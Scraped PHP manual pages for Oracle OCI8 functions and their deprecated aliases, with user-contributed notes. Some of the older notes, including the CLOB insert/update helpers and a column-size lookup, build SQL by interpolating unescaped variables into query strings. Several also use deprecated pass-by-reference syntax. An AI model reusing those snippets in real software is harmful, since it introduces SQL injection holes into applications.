Notes

Note: Oracle version requirement

This function is available from Oracle 11gR2 onwards.

Caution

Persistent connections

To avoid inconsistencies and unexpected errors, do not use ALTER SESSION SET EDITION to change the edition on persistent connections.

Caution

DRCP Connection Pooling

To avoid inconsistencies and unexpected errors when using editions and DRCP with Oracle 11.2.0.1, keep a one-to-one correspondence between the oci8.connection_class and the edition name used by applications. Each pooled server of a given connection class should only be used with one edition. This restriction has been removed with Oracle 11.2.0.2.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Two scripts can use different versions of myfunc() at the same time

<?php

// File 1

echo "Version 1 of application\n";

oci_set_edition('ORA$BASE');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>
<?php

// File 2

echo "Version 2 of application\n";

oci_set_edition('E1');
$c = oci_connect('hr', 'welcome', 'localhost/XE');

$s = oci_parse($c, "begin :r := myfunc(); end;");
oci_bind_by_name($s, ":r", $r, 20);
oci_execute($s);
echo "The result is $r\n";

?>

User Contributed Notes

There are no user contributed notes for this page.
oci_set_client_info
oci_set_module_name
OCI8 Functions


Sets the module name

oci_set_edition
oci_set_prefetch
OCI8 Functions
PHP Manual

oci_set_module_name

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_module_name — Sets the module name

Description

bool oci_set_module_name ( resource $connection , string $module_name )

Sets the module name for Oracle tracing.

The module name is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The name can subsequently be queried from database administration views such as V$SESSION. It can be used for tracing and monitoring such as with V$SQLAREA and DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

The value may be retained across persistent connections.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

module_name

User chosen string up to 48 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: Oracle version requirement

This function is available when PHP is linked with Oracle Database libraries from version 10g onwards.

Tip

Performance

With older versions of OCI8 or the Oracle Database, the client information can be set using the Oracle DBMS_APPLICATION_INFO package. This is less efficient than using oci_set_client_info().

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

Examples

Example #1 Setting the module name

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the module
oci_set_module_name($c, 'Home Page');

// Code that causes a roundtrip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);
?>
// While the script is running, the administrator can see the
// modules in use:

sqlplus system/welcome
SQL> select module from v$session;

See Also

  • oci_set_action() - Sets the action name
  • oci_set_client_info() - Sets the client information
  • oci_set_client_identifier() - Sets the client identifier

User Contributed Notes

There are no user contributed notes for this page.
oci_set_edition
oci_set_prefetch
OCI8 Functions


Sets number of rows to be prefetched by queries

oci_set_module_name
oci_statement_type
OCI8 Functions
PHP Manual

oci_set_prefetch

(PHP 5, PECL OCI8 >= 1.1.0)

oci_set_prefetch — Sets number of rows to be prefetched by queries

Description

bool oci_set_prefetch ( resource $statement , int $rows )

Sets the number of rows to be buffered by the Oracle Client libraries after a successful query call to oci_execute() and for each subsequent internal fetch request to the database. For queries returning a large number of rows, performance can be significantly improved by increasing the prefetch count above the default oci8.default_prefetch value.

Prefetching is Oracle's efficient way of returning more than one data row from the database in each network request. This can result in better network and CPU utilization. The buffering of rows is internal to OCI8 and the behavior of OCI8 fetching functions is unchanged regardless of the prefetch count. For example, oci_fetch_row() will always return one row. The prefetch buffer is per-statement and is not used by re-executed statements or by other connections.

Call oci_set_prefetch() before calling oci_execute().

A tuning goal is to set the prefetch value to a reasonable size for the network and database to handle. For queries returning a very large number of rows, overall system efficiency might be better if rows are retrieved from the database in several chunks (i.e set the prefetch value smaller than the number of rows). This allows the database to handle other users' statements while the PHP script is processing the current set of rows.

Query prefetching was introduced in Oracle 8i. REF CURSOR prefetching was introduced in Oracle 11gR2 and occurs when PHP is linked with Oracle 11gR2 Client libraries and connected to 11gR2 or previous versions of the database. Nested cursor prefetching was introduced in Oracle 11gR2 and requires both the Oracle Client libraries and the database to be version 11gR2.

Prefetching is not supported when queries contain LONG or LOB columns. The prefetch value is ignored and single-row fetches will be used in all the situations when prefetching is not supported.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

rows

The number of rows to be prefetched, >= 0

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PHP 5.3.2 (PECL OCI8 1.4) | Before this release, rows must be >= 1.
PHP 5.3 (PECL OCI8 1.3.4) | Before this release, prefetching was limited to the lesser of rows rows and 1024 * rows bytes. The byte size restriction has now been removed.

Examples

Example #1 Changing the default prefetch value for a query

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM myverybigtable');
oci_set_prefetch($stid, 300);  // Set before calling oci_execute()
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Changing the default prefetch for a REF CURSOR fetch

<?php
/*
  Create the PL/SQL stored procedure as:

  CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
  BEGIN
    OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Change the prefetch before executing the cursor.
// REF CURSOR prefetching works when PHP is linked with Oracle 11gR2 Client libraries
oci_set_prefetch($refcur, 200);
oci_execute($refcur);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

If PHP OCI8 fetches from a REF CURSOR and then passes the REF CURSOR back to a second PL/SQL procedure for further processing, then set the REF CURSOR prefetch count to 0 to avoid rows being "lost" from the result set. The prefetch value is the number of extra rows fetched in each OCI8 internal request to the database, so setting it to 0 means only fetch one row at a time.

Example #3 Setting the prefetch value when passing a REF CURSOR back to Oracle

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/orcl');

// get the REF CURSOR
$stid = oci_parse($conn, 'BEGIN myproc(:rc_out); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc_out', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Display two rows, but don't prefetch any extra rows otherwise
// those extra rows would not be passed back to myproc_use_rc().
// A prefetch value of 0 is allowed in PHP 5.3.2 and PECL OCI8 1.4
oci_set_prefetch($refcur, 0);
oci_execute($refcur);
$row = oci_fetch_array($refcur);
var_dump($row);
$row = oci_fetch_array($refcur);
var_dump($row);

// pass the REF CURSOR to myproc_use_rc() to do more data processing
// with the result set
$stid = oci_parse($conn, 'begin myproc_use_rc(:rc_in); end;');
oci_bind_by_name($stid, ':rc_in', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

?>

Notes

Note:

In PHP versions before 5.0.0 use ocisetprefetch() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci8.default_prefetch ini option

User Contributed Notes

bmichael at goldparrot dot com 04-Jan-2003 03:00
If your are using Oracle's OCI libraries, on any project, which PHP does, you can use this limit.

I have done network level testing on the effect of this parameter.  It does improved efficiency.  Big Time.

Oracle uses SQL*Net as the transport mechanism for data between your connection and the database.  That is why you must setup Oracle properly.

This parameter tells SQL*NET to Buffer more results.  When SQL*NET (at the server) gets a request for data, it bundles up X rows (1,2,3,1000, etc) for transport.  It sends the appropriate SQL*NET headers back to the client, Waits for an ACK then begins sending data in MTU sized chunks (ethernet is something like 1500 bytes and ATM's WANS are around 1000 bytes).  The chunk size can also be tuned in SQL*NET, but with much less improvements.

TCP/IP then takes the data across the wire, breaking it up into multiple TCP/IP packets.

Once the exchange is done, the SQL*NET client sends an
ACK back to the SQL*NET Listener (the Oracle Server) and the transaction is complete.

Each round trip, SQL*NET looks up inside the server memory (UGA - user global area) to find the query results. It then grabs the rows necessary to send.  If it is one row, versus 1000 rows.  The process is the same.

There is much I could tell you on how the Database itself reacts.  If you can significantly lessen the amount of round trips you are making... WOW.

For more info on Oracle OCI go to http://otn.oracle.com
oci_set_module_name
oci_statement_type
OCI8 Functions


Returns the type of a statement

oci_set_prefetch
OCI8 Obsolete Aliases and Functions
OCI8 Functions
PHP Manual

oci_statement_type

(PHP 5, PECL OCI8 >= 1.1.0)

oci_statement_type — Returns the type of a statement

Description

string oci_statement_type ( resource $statement )

Returns a keyword identifying the type of the OCI8 statement.

Parameters

statement

A valid OCI8 statement identifier from oci_parse().

Return Values

Returns the type of statement as one of the following strings.

Statement type
Return String | Notes
ALTER |
BEGIN |
CALL | Introduced in PHP 5.2.1 (PECL OCI8 1.2.3)
CREATE |
DECLARE |
DELETE |
DROP |
INSERT |
SELECT |
UPDATE |
UNKNOWN |

Returns FALSE on error.

Examples

Example #1 oci_statement_type() example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'DELETE FROM departments WHERE department_id = 130;');
if (oci_statement_type($stid) == "DELETE") {
    trigger_error('You are not allowed to delete from this table', E_USER_ERROR);
}
else {
    oci_execute($stid);  // delete the row
}

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocistatementtype() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.
oci_set_prefetch
OCI8 Obsolete Aliases and Functions
OCI8 Functions


OCI8 Obsolete Aliases and Functions

Table of Contents

  • ocibindbyname — Alias of oci_bind_by_name
  • ocicancel — Alias of oci_cancel
  • ocicloselob — Alias of OCI-Lob::close
  • ocicollappend — Alias of OCI-Collection::append
  • ocicollassign — Alias of OCI-Collection::assign
  • ocicollassignelem — Alias of OCI-Collection::assignElem
  • ocicollgetelem — Alias of OCI-Collection::getElem
  • ocicollmax — Alias of OCI-Collection::max
  • ocicollsize — Alias of OCI-Collection::size
  • ocicolltrim — Alias of OCI-Collection::trim
  • ocicolumnisnull — Alias of oci_field_is_null
  • ocicolumnname — Alias of oci_field_name
  • ocicolumnprecision — Alias of oci_field_precision
  • ocicolumnscale — Alias of oci_field_scale
  • ocicolumnsize — Alias of oci_field_size
  • ocicolumntype — Alias of oci_field_type
  • ocicolumntyperaw — Alias of oci_field_type_raw
  • ocicommit — Alias of oci_commit
  • ocidefinebyname — Alias of oci_define_by_name
  • ocierror — Alias of oci_error
  • ociexecute — Alias of oci_execute
  • ocifetch — Alias of oci_fetch
  • ocifetchinto — Fetches the next row into an array (deprecated)
  • ocifetchstatement — Alias of oci_fetch_all
  • ocifreecollection — Alias of OCI-Collection::free
  • ocifreecursor — Alias of oci_free_statement
  • ocifreedesc — Alias of OCI-Lob::free
  • ocifreestatement — Alias of oci_free_statement
  • ociinternaldebug — Alias of oci_internal_debug
  • ociloadlob — Alias of OCI-Lob::load
  • ocilogoff — Alias of oci_close
  • ocilogon — Alias of oci_connect
  • ocinewcollection — Alias of oci_new_collection
  • ocinewcursor — Alias of oci_new_cursor
  • ocinewdescriptor — Alias of oci_new_descriptor
  • ocinlogon — Alias of oci_new_connect
  • ocinumcols — Alias of oci_num_fields
  • ociparse — Alias of oci_parse
  • ociplogon — Alias of oci_pconnect
  • ociresult — Alias of oci_result
  • ocirollback — Alias of oci_rollback
  • ocirowcount — Alias of oci_num_rows
  • ocisavelob — Alias of OCI-Lob::save
  • ocisavelobfile — Alias of OCI-Lob::import
  • ociserverversion — Alias of oci_server_version
  • ocisetprefetch — Alias of oci_set_prefetch
  • ocistatementtype — Alias of oci_statement_type
  • ociwritelobtofile — Alias of OCI-Lob::export
  • ociwritetemporarylob — Alias of OCI-Lob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.
oci_statement_type
ocibindbyname
OCI8


Alias of oci_bind_by_name

OCI8 Obsolete Aliases and Functions
ocicancel
OCI8 Obsolete Aliases and Functions
PHP Manual

ocibindbyname

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocibindbyname — Alias of oci_bind_by_name()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

hardipetit at yahoo dot fr 20-Jan-2008 08:19
@ javier_8 :

You just have to unset $Value :

<?php
for ($i=0; $i <= 20; $i++)
{
  $ParamName = ':FIELD'.$i;
  $Value = $_POST['FIELD'.$i];
  oci_bind_by_name($stmt, $ParamName, $Value);
  unset($Value);
}

?>

Thanks for pointing this out...
javier_8 at NOSPAM dot hotmail dot com 02-Aug-2007 02:25
Probably a common error using oci_bind_by_name:

<?php
for ($i=0; $i <= 20; $i++)
{
  $ParamName = ':FIELD'.$i;
  $Value = $_POST['FIELD'.$i];
  oci_bind_by_name($stmt, $ParamName, $Value);
}
?>

This is wrong and you'll get the error:
ORA-01461: can bind a LONG value only for insert into a LONG column
It's because oci_bind_by_name apparently works with placeholders, if you assign all the binds to the address of "$value", then all of the values will be the same.
You must do this instead:

<?php
for ($i=0; $i <= 20; $i++)
{
  $ParamName = ':FIELD'.$i;
  oci_bind_by_name($stmt, $ParamName, $_POST['FIELD'.$i]);
}
?>

So oci_bind_by_name links the parameter with the memory space of POST['FIELD1'], POST['FIELD2'], POST['FIELD3']...
Hope it helps (It took some time to figure this out, and I found no help on the net for this issue).
md AT opencube DOT org 28-Sep-2004 06:03
I changed the Method below - all without comments:

function getBindVars($statement){
    $regExp = "/(:[_a-z0-9]+)/i";
    $statement = preg_replace('/\'[^\']*?\'/i', "", $statement);
    //  --- Kommentare raus:
    $statement = preg_replace('/--[^(\n)]*?\n/i', "", $statement."\n");
    // /* */ Kommentare raus:
    $statement = preg_replace('/(\/\*)([^\*]|[^\*](\*)[^\/])+?(\*\/)/i', "", $statement);
    $statement = preg_replace('/[^s]el([^t](t)[^s])+?(ts)/i', "", $statement);
    $test = preg_match_all($regExp, $statement, $return);
    if (isset($return[1]) && count($return[1]) > 0)
        return($return[1]);
    else return array();
}

for this statement:

$testStatement = " select * from /* Komm \n* :v_comment /asdf */ elements := [asdf]||test where\n elements_id = :v_test;".
             "(:value-1) ':text[not]text'||:test123 --test 'diesen:auch_nicht' :v_not\n asdf";

we get this Array:

Array
(
    [0] => :v_test
    [1] => :value
    [2] => :test123
)
16-Sep-2004 03:18
Hi all,

I wrote a little function to get all the bind variables of a statement. I use this for a tool that creates a formular to execute different statements the user can select:

function getBindVars($statement){
    $regExp = "/[^'](:[_a-z0-9]+)/i";
    $test = preg_match_all($regExp, $statement, $return);
    if (isset($return[1]) && count($return[1]) > 0)
        return($return[1]);
    else return array();
}
jriley at gamesville dot com 24-Aug-2004 03:16
To select a value from DUAL, use a  length of -1.  DUAL is defined as a table of VARCHAR2(1).

ex:
$stmt = OCIParse($conn,  "select  :VAR from DUAL");
ocibindbyname($stm, ":VAR", &$Var, -1);

For a query using LIKE,  put the percent signs in the variable definition and skip the single quotes you would normally put around the regex in SQL.

ex:

$ename = "%{$ename}%";
$stmt = OCIParse($conn,  "select empno from emp where ename like :ename");
OCIBindByName($stmt, ":ename", $ename, 32);

Adding single quotes around :ename in $query will cause an
"ORA-01036: illegal variable name/number" error.  Adding them in $ename will add  single quotes to the search string.
david dot gaia dot kano at dartmouth dot edu 04-Aug-2004 02:24
Here is a new twist I just discovered (at least with PHP 4.3.5). While it is true that doing something like this works:

----------
$dataArray = array("name" => "david", "sport" => "rock climbing");
$lengths = array("name" => 25, "sport" => 100);

// imagine the ociparse here

foreach($dataArray as $col => $val) {
    ocibindbyname($statement, $col, $dataArray[$val], $lengths[$col])
}

ociexecute($statement);

$dataArray["name"] = "jane";
$dataArray["sport"] = "kayaking";

ociexecute($statement);
---------
The following ADDITIONAL lines of code would not:

--------

function getDataArray() {
    $ret["name"] = "susan";
    $ret["sport"] = "walking";
    return($ret);
}

$dataArray = getDataArray();

ociexecute($statement);

--------

As far as I can tell, the last execute would attempt to insert using the same data as the second execute. In other words when reassigning the whole associative array rather than just each member in the array, the binds do not work as expected. I think this is also a problem when the array has never been assigned to anything yet, when you do the binds.
yepster at hotmail dot com 09-Mar-2004 05:32
If you get ora-01460 you might want to check whether the OCIBindByName was done with -1 on a date field, which on bind time (not execute time) was bound to a php variable with size 0. (e.g.: $var=""; bind var to date with length -1; loop; $var=realdate; execute will give ora-01460 -> unreasonable or unimplemented conversion). Changing the initial $var to a good length, or do the bind with the right size of your date in string format representation instead of -1 will solve it.
adamb-php at agitate dot org dot uk 27-Nov-2003 05:14
If you use dba_tab_columns or user_tab_columns to get the sizes of the columns into which you are inserting data with OCIBindByName, be aware that a DATE type column is returned as 7 which is the size of it when it is stored in oracle's internal format.  The problem arises when you are in fact inserting dates using the TO_DATE function as your bound data could be something like "28/04/1972 12:22.13" which is larger than the width specified in the bind statement and will get you the ever so helpful OCI error message of:

ORA-01461: can bind a LONG value only for insert into a LONG column
aidan.peiser at shopsmart dot com 28-Feb-2003 11:06
I have made two function to add and update a table with a CLOB field in it.all you have to do is pass the correct data through the function and it should work...

<?php
/*the table sql looks like this:

create table MY_PAGE (pageid varchar2(20),
           pagename varchar2(50),
           pageurl varchar2(100),
           edited date,
           bodymessage clob);

create sequence mypage_sequence minvalue 1 nocache;
*/

function updatePageData($select,$pagename,$pageurl,$document) {
    global $conn;

    $current_time=date("YmdHis");
    $sql = "update MY_PAGE set PAGENAME='$pagename',
PAGEURL='$pageurl',
EDITED=TO_DATE('$current_time','YYYYMMDDHH24MISS'), BODYMESSAGE = EMPTY_CLOB()
WHERE PAGEID = '$select' returning BODYMESSAGE into :bodymessage";
    echo $sql;

    $stmt = OCIParse($conn,$sql);
    $lob = OCINewDescriptor($conn,OCI_D_LOB);
    OCIBindByName($stmt,":bodymessage",&$lob,-1,OCI_B_CLOB);
        OCIExecute($stmt, OCI_DEFAULT);
        $lob->save($document);
        $lob->free();
        OCIFreeStatement($stmt);
    if(OCICommit($conn)){
        return true;
    }else{
        return false;
    }

}

function insertPageData($pagename,$pageurl,$document) {

    global $conn;

    $current_time=date("YmdHis");
    $query = "insert into MY_PAGE (PAGEID, PAGENAME, PAGEURL, EDITED, BODYMESSAGE)
values (mypage_sequence.nextval,
'$pagename',
'$pageurl',
TO_DATE('$current_time','YYYYMMDDHH24MISS'),
empty_clob()) returning BODYMESSAGE into :bodymessage";
    $stmt = OCIParse($conn, $query);

    $clob1 = OCINewDescriptor($conn, OCI_D_LOB);
    OCIBindByName ($stmt, ":bodymessage", &$clob1, -1, OCI_B_CLOB);
    OCIExecute($stmt, OCI_DEFAULT);
    $clob1->save ($document);

    if(OCICommit($conn)){
        echo "data inserted";
    }else{
        echo "unable to insert data";
    }
}

?>
alexander dot zimmer at gmx dot at 20-Sep-2002 05:40
Addition to the posting of cthrall@rocketmail.com (from 06-Sep-2000):

It's true, you can't call OCIBindByName in a loop and bind to an associative array like this:

foreach ($array as $key => $val)
{
OCIBindByName($state, $key, $val, -1);
}

BUT: You can do it this way:

foreach ($array as $key => $val)
{
OCIBindByName($state, $key, $array[$key], -1);
}

Background: the command OCIBindByName BINDS a PHP variable to a parameter, not just its current value. Thus, it is up to you to make sure that the variable has the correct value at the very time when OCIExecute is called, not just when OCIBindByName was called! The PHP variable gets evaluated at the point of OCIExecute and not earlier.

This is somewhat more legible than cthrall's solution (but it surely works, too).
chris_se at gmx dot net 27-Aug-2002 11:44
Be warned if you use this function with a fixed-width character field:

If you have a table with the following fields:

create table personal_data (
name      char(20) not null,
street      char(50),
city         char(50),
primary key (name) using index
);

Now, if you want to update a column without OCIBindByName, you may write

$stmt = OCIParse ($conn, "update personal_data set street = '$street' where name = '$name'");
$res = OCIExecute ($stmt);
OCIFreeStatement ($stmt);

If you want to use OCIBindByName, the following will _only_ work, if the contents of $name has always the same length as field:

$stmt = OCIParse ($conn, "update personal_data set street = :STREET where name = :NAME");
OCIBindByName ($stmt, ":STREET", &$street, 50);
OCIBindByName ($stmt, ":NAME", &$name, 20);
$res = OCIExecute ($stmt);
OCIFreeStatement ($stmt);

(this will not produce any error, it's simply that the where-clause will never get true if the contents of $name is not as long as the field itself)

To make this work, you have to trim the field:

$stmt = OCIParse ($conn, "update personal_data set street = :STREET where trim(name) = :NAME");
OCIBindByName ($stmt, ":STREET", &$street, 50);
OCIBindByName ($stmt, ":NAME", &$name, 20);
$res = OCIExecute ($stmt);
OCIFreeStatement ($stmt);
max at pict dot lviv dot ua 15-Aug-2002 05:53
For those, who may wish to determine column size before execution of query, I suggest to use DBA_TAB_COLUMNS view. I did it with this function:

function db_column_size($table,$column) {
  $connection = db_connect();
  $query = "SELECT DATA_LENGTH FROM DBA_TAB_COLUMNS ".
           "WHERE TABLE_NAME='".strtoupper($table)."' ".
           "AND COLUMN_NAME='".strtoupper($column)."'";

  $statement = OCIParse($connection, $query);
  OCIExecute($statement);

  ocifetchinto($statement,$row,OCI_ASSOC+OCI_RETURN_NULLS);
  return $row["DATA_LENGTH"];
}
k_a_h_l_i_l at yahoo dot com 01-May-2001 09:08
How to bind an nvarchar field:

<?php
$sql = "insert into my_table values (translate(:varname using nchar_cs))";

$stmt = OCIParse($conn, $sql);
OCIBindByName($stmt,":varname", &$value, strlen($value) + 1, 1);
$err = OCIError($stmt);
if(!$err) {
  OCIExecute($stmt);
  $err = OCIError($stmt);
}
OCIFreeStatement($stmt);
?>
andrea at neutrini dot it 18-Feb-2001 10:30
This script print the real name of a BFILE saved. It use OCIBindByName ...

<?php
$c1=OCILogon ("username","password","database");
$store_file = "NULL";
$query = "DECLARE Lob_loc  BFILE; DIRS   VARCHAR2(30); FILS  VARCHAR2(40); BEGIN SELECT B_FILE INTO Lob_loc FROM TABLE_WHIT_B_FILE WHERE KEY=2 ; DBMS_LOB.FILEGETNAME(Lob_loc,DIRS,FILS); :NOME:=FILS; END;"
$stmt = ociparse($c1,$query);
OCIBindByName($stmt,":NOME",&$store_file,50);

if(!ociexecute($stmt)) echo "Error";

echo  $store_file ;

OCIFreeStatement($stmt);
OCILogOff($c1);
?>
gmarcos at netspace dot com dot mx 16-Dec-2000 11:04
to load an image from oracle:
<?
Header("Content-Type: image/png");
$conn = OCILogon("user","passwd","bd");

$stmt = OCIParse($conn,"select picture
from table_with_picture ");

$picture = OCINewDescriptor($stmt,OCI_D_LOB);

OCIDefineByName($stmt,"PICTURE",&$picture);
OCIExecute($stmt);
while(OCIFetch($stmt)){

}

OCIFreeStatement($stmt);
$fp = fopen ("/directory/picture.tif","wb");
fwrite($fp,$picture);
fclose($fp);
passthru("/usr/bin/X11/convert /directory/picture.tif png:-");

?>

This work for blobs.
Maxwell_Smart at ThePentagon dot com 31-Oct-2000 06:27
You cannot use a reserved word as a bind variable.Otherwise you'll get "OCIStmtExecute: ORA-01745: invalid host/bind variable name". So, while "RETURNING ROWID INTO :RowId" may be nice, it'll cause an error, as will "RETURNING ROWID INTO :SELECT", etc.
cthrall at rocketmail dot com 06-Sep-2000 05:40
So, if you're calling OCIBindByName in a loop and binding to an associative array like this:

<?php
while (list($key, $val) = each($array)) {
    OCIBindByName($state, $key, $val['VALUE'], $val['LENGTH']);
}
?>

it won't work.  My WAG is that OCI gets confused when you bind a bunch of values to what appears to be the same variable, then call OCIExecute.

Workaround is create a new array, and copy values into it:
<?php
$value = array();
$i = 0;

while (list($key, $val) = each($array)) {
    $value[$i] = $val['VALUE'];
    OCIBindByName($state, $key, $value[$i], $val['LENGTH']);
    $i++;
}
?>
benjy at nectaris dot com 27-Jan-2000 10:15
Note that when binding a variable to a
VARCHAR2 column, the length parameter should count an extra character (the terminating null.)

For example, when binding to a column of type VARCHAR2(500), the length parameter should be 501. Otherwise when a string of length 500 is supplied as a bind value an error ("ORA-01480: trailing null missing from STR bind value") will be thrown.

According to the OCI documentation this happens because the length parameter is used by OCI as a search limit for the terminating null in the underlying C/C++ character string.
k_a_h_l_i_l at yahoo dot com 27-Jan-2000 02:45
ocibindbyname with VARCHAR fields doesn't handle length dynamically. I had to define my variable with the correct length (and garbage data) before calling bindbyname.
    $myvar = "000000";
    OCIBindByName($stmt,":myvar",&$myvar, -1);

without the first initialization line ($myvar = "000000"), the statement will give a NULL length error when executed. This error happens even if the variable's length is provided as a parameter. So

    OCIBindByName($stmt,":myvar",&$myvar, 6);

won't work either unless the initialization statement is executed first.
philippe at styx dot net 24-Aug-1999 11:27
Note: If the table field is VARCHAR2(1),
--> ocibindbyname($stm, ":VAR", &$Var, 1);
won't work. You have to put instead:
--> ocibindbyname($stm, ":VAR", &$Var, -1);
OCI8 Obsolete Aliases and Functions
ocicancel
OCI8 Obsolete Aliases and Functions


Alias of oci_cancel

ocibindbyname
ocicloselob
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicancel

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicancel — Alias of oci_cancel()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocibindbyname
ocicloselob
OCI8 Obsolete Aliases and Functions


Alias of OCI-Lob::close

ocicancel
ocicollappend
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicloselob

(PHP 4 >= 4.0.6, PECL OCI8 1.0)

ocicloselob — Alias of OCI-Lob::close()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicancel
ocicollappend
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::append

ocicloselob
ocicollassign
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicollappend

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollappend — Alias of OCI-Collection::append()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicloselob
ocicollassign
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::assign

ocicollappend
ocicollassignelem
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicollassign

(PHP 4 >= 4.0.6, PECL OCI8 1.0)

ocicollassign — Alias of OCI-Collection::assign()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicollappend
ocicollassignelem
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::assignElem

ocicollassign
ocicollgetelem
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicollassignelem

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollassignelem — Alias of OCI-Collection::assignElem()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicollassign
ocicollgetelem
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::getElem

ocicollassignelem
ocicollmax
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicollgetelem

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollgetelem — Alias of OCI-Collection::getElem()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicollassignelem
ocicollmax
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::max

ocicollgetelem
ocicollsize
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicollmax

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollmax — Alias of OCI-Collection::max()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicollgetelem
ocicollsize
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::size

ocicollmax
ocicolltrim
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicollsize

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicollsize — Alias of OCI-Collection::size()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicollmax
ocicolltrim
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::trim

ocicollsize
ocicolumnisnull
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolltrim

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocicolltrim — Alias of OCI-Collection::trim()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicollsize
ocicolumnisnull
OCI8 Obsolete Aliases and Functions


Alias of oci_field_is_null

ocicolltrim
ocicolumnname
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolumnisnull

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnisnull — Alias of oci_field_is_null()

Description

Warning

